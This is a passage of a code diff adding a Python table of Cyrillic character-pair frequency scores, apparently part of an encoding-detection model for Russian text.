0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 55: { # 'Х' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 58: { # 'Ц' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 50: { # 'Ч' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 1, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 1, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 57: { # 'Ш' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 2, # 'о' + 15: 2, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 63: { # 'Щ' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 1, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 1, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 62: { # 'Ы' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 0, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 0, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 61: { # 'Ь' + 37: 0, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 1, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 0, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 47: { # 'Э' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 2, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 59: { # 'Ю' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 1, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 43: { # 'Я' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 0, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 0, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 1, # 'й' + 11: 1, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 1, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 3: { # 'а' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 21: { # 'б' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 1, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 2, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 3, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 10: { # 'в' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 3, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 19: { # 'г' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 13: { # 'д' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 3, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 3, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 2: { # 'е' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 3, # 'х' + 28: 3, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 3, # 'я' + }, + 24: { # 'ж' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 2, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 1, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 1, # 'т' + 14: 3, # 'у' + 39: 1, # 'ф' + 26: 0, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 20: { # 'з' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 3, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 2, # 'ъ' + 18: 3, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 3, # 'я' + }, + 4: { # 'и' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 